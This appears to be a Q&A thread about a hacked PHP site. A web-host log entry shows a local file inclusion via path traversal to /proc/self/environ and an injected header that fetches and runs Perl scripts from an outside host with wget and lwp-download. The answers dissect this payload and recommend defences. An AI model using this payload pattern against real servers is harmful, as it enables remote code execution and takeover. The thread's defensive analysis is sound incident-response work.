How to find and protect against the exploited vulnerability in a PHP application based on the logged URL?

Question

I have been attacked on a shared host server and they said I should configure my own php.ini file properly.

I have a little PHP/MySQL program with a registering function, a little admin site.

However, someone hacked it up. Any help would be really appreciated with php.ini.

Here is what I got from the webhost provider:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf .txt;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf .txt'); echo \"#j13mb0t\"; ?>"

Because script injection attacks the site code itself, it is able to completely avoid webserver security. Unfortunately, some content management systems (especially older versions of Joomla) are extremely susceptible to this form of attack.

A simple way to remove the ability for attackers to use this method is to add a php.ini file at the top-level of the website with the following contents - be aware though that the website will need testing afterwards to ensure that no legitimate website scripted actions have been affected by the change:

The php.ini directives are:

allow_url_include = "0"
allow_url_fopen = "0"

Answer 1

While the suggested settings are good unless the disabled functionality is actually needed, they would likely not have prevented this kind of attack:

Attack vector

http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>"

Vulnerability

There is some PHP code which writes another PHP file, most likely a way to change a configuration using the web interface. The configuration is stored as PHP code.

The mechanism writes something similar to

shell_exec('wget '.$untrustedUserInput.' something else');

$untrustedUserInput is the string I quoted above with proper line breaks for easier reading.

Given the attack URL in the Refer header, it is possible that the motivation for the code is not a configuration mechanism but to create an archive of pages from which people are linked to your website.

Result

So the result looks like

shell_exec('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>
".' something else');

Note the ?> to prevent the "something else" from being seen as PHP code.

Counter-measures

If possible set the file system permissions to not allow the webserver to write files in any directory that it executes PHP files from. You may need to temporarily give write permissions for configuration changes on specific files, but should remove it after the changes. Be especially careful to put upload folders outside the web root.

Make sure that you install security updates of third party software, such as PhpMyAdmin, Wordpress including the plugins very quickly after release. Subscribe to the mailing lists on which those updates are announced.

Have an audit done on your code. If that is not possible because it is too expensive, at the very least learn about common security issues in PHP code. The OWASP PHP Top 5 are a good starting point.

Answer 2

The best thing you can do is fix the PHP script, so that LFI is no longer possible. You can change settings to make exploitation harder, but you should fix the problem at the root: the script that uses that 'p' parameter to include files.

Furthermore, you could indeed set allow_url_include and allow_url_fopen. I'd recommend setting open_basedir as well (check http://php.net/manual/en/ini.core.php).